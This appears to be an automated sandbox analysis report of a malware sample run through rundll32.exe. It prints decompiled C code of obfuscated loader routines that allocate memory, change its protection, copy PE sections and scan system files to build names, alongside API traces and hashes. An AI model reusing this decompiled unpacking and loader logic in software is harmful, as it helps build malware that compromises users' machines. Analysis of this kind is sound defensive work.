Part of subcall function 0267A911: StrChrA.SHLWAPI(?,0000003F,?,?,026715A4,?,?,?,?,00000102,026711DA,?,?,00000000,00000000), ref: 0267A929

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,026715A4,?,?,?,?,00000102,026711DA,?), ref: 02677F91
lstrcpy.KERNEL32(00000000,00000000), ref: 02677FA1
lstrcpy.KERNEL32(00000000,00000000), ref: 02677FAD

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: f2bfa7b5d8bad18b513b0e5fb82897ab80f7ef5f20f2ae8b6e2928acde2ff201
Instruction ID: 89dd3c3d532e5bb6d19f981eec1fe1ab457a5b11f69f5727607478a5f5e45170
Opcode Fuzzy Hash: f2bfa7b5d8bad18b513b0e5fb82897ab80f7ef5f20f2ae8b6e2928acde2ff201
Instruction Fuzzy Hash: 5721DF32404255EBCB039FB5E944AAEBFEAAF06284F058059F8059B201E739CA50CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 02677CB8, Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02677CB8(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E02672049(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x02677ccd
0x02677cd1
0x02677cdb
0x02677ce2
0x02677ce5
0x02677ce7
0x02677cef
0x02677cf4
0x02677d02
0x02677d07
0x02677d11

APIs

lstrlenW.KERNEL32(004F0053,76D25520,?,00000008,032F937C,?,0267747C,004F0053,032F937C,?,?,?,?,?,?,02676814), ref: 02677CC8
lstrlenW.KERNEL32(0267747C,?,0267747C,004F0053,032F937C,?,?,?,?,?,?,02676814), ref: 02677CCF

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

memcpy.NTDLL(00000000,004F0053,76D269A0,?,?,0267747C,004F0053,032F937C,?,?,?,?,?,?,02676814), ref: 02677CEF
memcpy.NTDLL(76D269A0,0267747C,00000002,00000000,004F0053,76D269A0,?,?,0267747C,004F0053,032F937C), ref: 02677D02

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 96246d3e4d5be88f789601791356bd5f188a0184f0f11654a9ce21b99c097ba4
Instruction ID: b44af000462d45c91c11513f6a0f66d52524d675bca9318868f1eba3d76cbfec
Opcode Fuzzy Hash: 96246d3e4d5be88f789601791356bd5f188a0184f0f11654a9ce21b99c097ba4
Instruction Fuzzy Hash: 05F03772900118BBCB11EFA8DC84CDE7BADEF09254B014066AD08D7211E631EA14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02673CC8, Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(032F9910,00000000,00000000,73FCC740,0267A453,00000000), ref: 02673CD8
lstrlen.KERNEL32(?), ref: 02673CE0

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

lstrcpy.KERNEL32(00000000,032F9910), ref: 02673CF4
lstrcat.KERNEL32(00000000,?), ref: 02673CFF

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 4543d60cdb9d1682f95998d0f74ba12fdd82066ba884af599903b718bd3860e5
Instruction ID: 3481beaa2dd42cd2f9c23ff349f7f943536b2c7ad28d52e2095cbea3ab67c66c
Opcode Fuzzy Hash: 4543d60cdb9d1682f95998d0f74ba12fdd82066ba884af599903b718bd3860e5
Instruction Fuzzy Hash: 98E09273901260A787119FE5BC48C6FBBADEF99611704481BFA00D3210D72588698BE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5420 Parent PID: 3544 rundll32.exeCOMMON

Executed Functions

Function 012D348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E012D348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E012D20EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E012D5AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x012d348f
0x012d348f
0x012d348f
0x012d348f
0x012d348f
0x012d349c
0x012d349e
0x012d34a1
0x012d34a4
0x012d34a5
0x012d34a9
0x012d34ac
0x012d34b2
0x012d34ba
0x012d34c1
0x012d34ca
0x012d34cb
0x012d34cb
0x012d34cc
0x012d34cd
0x012d34d0
0x012d34da
0x012d34dc
0x012d34e3
0x012d34e6
0x012d34ec
0x012d34f4
0x012d34fb
0x012d3501
0x012d3504
0x012d3504
0x012d3505
0x012d3509
0x012d350c
0x012d3516
0x012d3520
0x012d3524
0x012d352e
0x012d3532
0x012d353a
0x012d353a
0x012d353d
0x012d3543
0x012d354b
0x012d3552
0x012d3558
0x012d3558
0x012d355b
0x012d3567
0x012d3569
0x012d3573
0x012d3575
0x012d357c
0x012d357f
0x012d3585
0x012d358d
0x012d3594
0x012d359a
0x012d359d
0x012d359d
0x012d359e
0x012d35a8
0x012d35ab
0x012d35ae
0x012d35ba
0x012d35be
0x012d35c2
0x012d35cc
0x012d35cc
0x012d35d6
0x012d35d9
0x012d35df
0x012d35e7
0x012d35ee
0x012d35f4
0x012d35f7
0x012d35f7
0x012d35f8
0x012d35ff
0x012d3602
0x012d360c
0x012d360e
0x012d3615
0x012d361f
0x012d362a
0x012d362e
0x012d3632
0x012d363d
0x012d3641
0x012d364a
0x012d364e
0x012d364f
0x012d365b
0x012d3662
0x012d3668
0x012d3669
0x012d3669
0x012d366a
0x012d3675
0x012d3677
0x012d3681
0x012d3683
0x012d3689
0x012d3691
0x012d3698
0x012d369e
0x012d369e
0x012d36a1
0x012d36ac
0x012d36ae
0x012d36b8
0x012d36c1
0x012d36c2
0x012d36c5
0x012d36c8
0x012d36ce
0x012d36ce
0x012d36d5
0x012d36d9
0x012d36dc
0x012d36e4
0x012d36e6
0x012d36ed
0x012d36f0
0x012d36f1
0x012d36f8
0x012d36fc
0x012d3705
0x012d3709
0x012d3712
0x012d3716
0x012d371f
0x012d3723
0x012d3724
0x012d3730
0x012d3737
0x012d373d
0x012d373d
0x012d373e
0x012d373f
0x012d3742
0x012d374c
0x012d374e
0x012d375a
0x012d3761
0x012d3767
0x012d3767
0x012d3768
0x012d3770
0x012d3772
0x012d377c
0x012d377e
0x012d3785
0x012d3788
0x012d3794
0x012d379b
0x012d37a1
0x012d37a2
0x012d37a2
0x012d37a3
0x012d37b2
0x012d37b4
0x012d37be
0x012d37c1
0x012d37c5
0x012d37d1
0x012d37d4
0x012d37de
0x012d37e1
0x012d37ed
0x012d37f4
0x012d37fa
0x012d37fb
0x012d37fb
0x012d37fe
0x012d3806
0x012d3808
0x012d3809
0x012d3814
0x012d381b
0x012d381d
0x012d381d
0x012d381e
0x012d381e
0x012d3821
0x012d382c
0x012d382e
0x012d3831
0x012d3842
0x012d3846
0x012d384a
0x012d3852
0x012d3855
0x012d3858
0x012d385f
0x012d3862
0x012d3862
0x012d3868
0x012d3872
0x012d3874
0x012d3875
0x012d3875
0x012d3879
0x012d387c
0x012d387f
0x012d388d
0x012d3890
0x012d38a1
0x012d38ad
0x012d38ad
0x012d38ad
0x012d38af
0x012d38b9
0x012d38bb
0x012d38bc
0x012d38bc
0x012d38bc
0x012d38c1
0x012d38c2
0x012d38cf
0x012d38d7
0x012d38de
0x012d38e4
0x012d38e5
0x012d38f4
0x012d38f6
0x012d38fc
0x012d38fe
0x012d38ff
0x012d3902
0x012d3905
0x012d390b
0x012d390f
0x012d3912
0x012d3912
0x012d391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 012D3862

Strings

@, xrefs: 012D3831

Memory Dump Source

Source File: 00000002.00000002.260886604.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: true

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: 75aa26601bad16b2147ca22d2ab89b2a6c56226ce5c8675c969b4706037bbfb8
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: F5F16E72C14204EFEB049F64C88A7ADBBF5FF84715F1984ADDC88AB146CB782550CB69

Uniqueness

Uniqueness Score: -1.00%

Function 012D6194, Relevance: 3.1, APIs: 2, Instructions: 112
memoryCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E012D6194(signed int __ebx, void* __ecx, signed int __edx, DWORD* __edi, long __esi, void* __eflags) {
				void* __ebp;
				void* _t44;
				long _t45;
				signed int _t49;
				int _t50;
				signed int _t51;
				void* _t55;
				long _t56;
				signed int _t59;
				signed int _t62;
				void* _t63;
				signed int _t64;
				signed int _t69;
				long _t72;
				signed int _t74;
				signed int _t76;
				DWORD* _t80;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t90;
				long _t94;
				void* _t97;
				void** _t99;
				void** _t100;

				_t92 = __esi;
				_t80 = __edi;
				_t69 = __edx;
				 *_t99 =  *_t99 + 0xffff0000;
				 *_t99 =  *_t99 - _t94;
				_t45 = E012D463F(_t44, __ebx, __ecx, __edi, __esi);
				_push(__ecx);
				_t62 = __ebx | __ebx;
				_t59 = _t62;
				_pop(_t63);
				if(_t62 != 0) {
					 *_t99 = 4;
					 *_t99 = 0x1000;
					_t94 =  *_t99;
					 *_t99 =  *(_t59 + 0x41823f);
					_t45 = VirtualAlloc(0, _t94, __esi, _t45);
				}
				 *_t99 =  *_t99 & 0x00000000;
				 *_t99 =  *_t99 | _t45;
				 *_t4 = _t94;
				 *(_t59 + 0x4184cf) = 2;
				 *(_t94 - 8) = _t69;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) & 0x00000000;
				 *(_t59 + 0x418379) =  *(_t59 + 0x418379) | _t69 & 0x00000000 | _t45;
				_t72 =  *(_t94 - 8);
				if( *(_t59 + 0x4180f7) > 0) {
					_t56 = _t59 + 0x4184cf;
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 | _t56;
					 *_t99 =  *_t99 + 0x40;
					 *_t99 =  *_t99 - _t56;
					_t72 =  *_t99;
					 *_t99 =  *(_t59 + 0x41856b);
					_t92 =  *_t99;
					 *_t99 =  *(_t59 + 0x4180f7);
					VirtualProtect( *_t99, _t72, _t56, _t80);
				}
				_push(_t80);
				 *_t99 =  *(_t59 + 0x418024);
				_push(_t72);
				_t99[1] =  *(_t59 + 0x418633);
				_t74 = _t72;
				 *(_t94 - 8) = E012D4859(_t59, _t63, _t74,  *_t99, _t92);
				_t64 = 0 ^  *(_t59 + 0x41856b);
				_t49 =  *(_t94 - 8);
				 *_t99 = _t94;
				_t83 = 0 ^  *(_t59 + 0x4180f7);
				_t97 = 0;
				 *_t99 =  *_t99 | _t83;
				_t84 = _t83;
				if( *_t99 != 0) {
					 *_t99 =  *_t99 & 0x00000000;
					 *_t99 =  *_t99 + _t84;
					_t49 = E012D2DF5(_t49, _t59, _t64, _t74, _t92, _t49);
				}
				 *_t99 =  *_t99 ^ _t49;
				_t50 = _t49;
				_t51 = memset(_t84, _t50, _t64 << 0);
				_t100 =  &(_t99[3]);
				_t85 = _t84 + _t64;
				if( *(_t59 + 0x418024) != _t59) {
					_t90 =  *_t100;
					 *_t100 =  *(_t59 + 0x418024);
					_t55 = E012D348F(_t59, 0, _t74, _t90, _t92, _t85); // executed
					_push(_t55);
					_t100[1] =  *(_t59 + 0x418024);
					_t85 = _t90;
					_t51 = E012D4DF5(_t55, _t59, _t74, _t85, _t92);
				}
				_push(_t85);
				_t76 = _t74 & 0x00000000 ^ _t85 & 0x00000000 ^  *(_t59 + 0x418418);
				_t100[5] = _t76;
				 *(_t97 - 4) = _t51;
				 *((intOrPtr*)(_t97 - 8)) = 0;
				 *(_t97 + 4) =  *(_t97 + 4) & 0x00000000;
				 *(_t97 + 4) =  *(_t97 + 4) | 0 | _t76 & 0x00000000 ^ (_t51 & 0x00000000 |  *(_t59 + 0x418418));
				asm("popad");
				return  *(_t97 - 4);
			}

0x012d6194
0x012d6194
0x012d6194
0x012d6195
0x012d619c
0x012d619f
0x012d61a4
0x012d61a7
0x012d61a9
0x012d61ab
0x012d61ac
0x012d61af
0x012d61b7
0x012d61c5
0x012d61c5
0x012d61ca
0x012d61ca
0x012d61d1
0x012d61d5
0x012d61d8
0x012d61de
0x012d61e8
0x012d61f0
0x012d61f7
0x012d61fd
0x012d6207
0x012d6209
0x012d6210
0x012d6214
0x012d6218
0x012d621c
0x012d6226
0x012d6226
0x012d6230
0x012d6230
0x012d6233
0x012d6233
0x012d6239
0x012d6240
0x012d6243
0x012d624b
0x012d624f
0x012d6255
0x012d6260
0x012d6262
0x012d6267
0x012d6272
0x012d6274
0x012d6276
0x012d6279
0x012d627a
0x012d627d
0x012d6281
0x012d6284
0x012d6284
0x012d628a
0x012d628d
0x012d628e
0x012d628e
0x012d628e
0x012d6296
0x012d629f
0x012d629f
0x012d62a2
0x012d62a7
0x012d62af
0x012d62b3
0x012d62b4
0x012d62b4
0x012d62b9
0x012d62c6
0x012d62c9
0x012d62cd
0x012d62e1
0x012d62e9
0x012d62ed
0x012d62f3
0x012d62f5

APIs

VirtualAlloc.KERNELBASE(00000000,?,?,00000000), ref: 012D61CA
VirtualProtect.KERNELBASE(?,?), ref: 012D6233

Memory Dump Source

Source File: 00000002.00000002.260886604.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: true

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction ID: c8f51c5c6443489640ba94a6ffc7073052756ea44f9cd8a2c711e5eebbfd1cae
Opcode Fuzzy Hash: 973912ba655f0d42c6a3ce3ffd5477ebdb1fbb1cfb58effa8c75d7567b35407f
Instruction Fuzzy Hash: 9B41D172504605DFEB00DF24C8847BDBBF9EF88701F0A846DDE888B249DB785540CB6A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 5408 Parent PID: 5424 rundll32.exeCOMMON

Executed Functions

Function 034412D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E034412D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x344d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x344d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x344d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x344d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x344d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x344d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x344d27c; // 0x262a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x344e7f2; // 0x73797325
				_t83 = E034495B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x344d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x344d27c; // 0x262a5a8
				_t16 = _t93 + 0x344e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
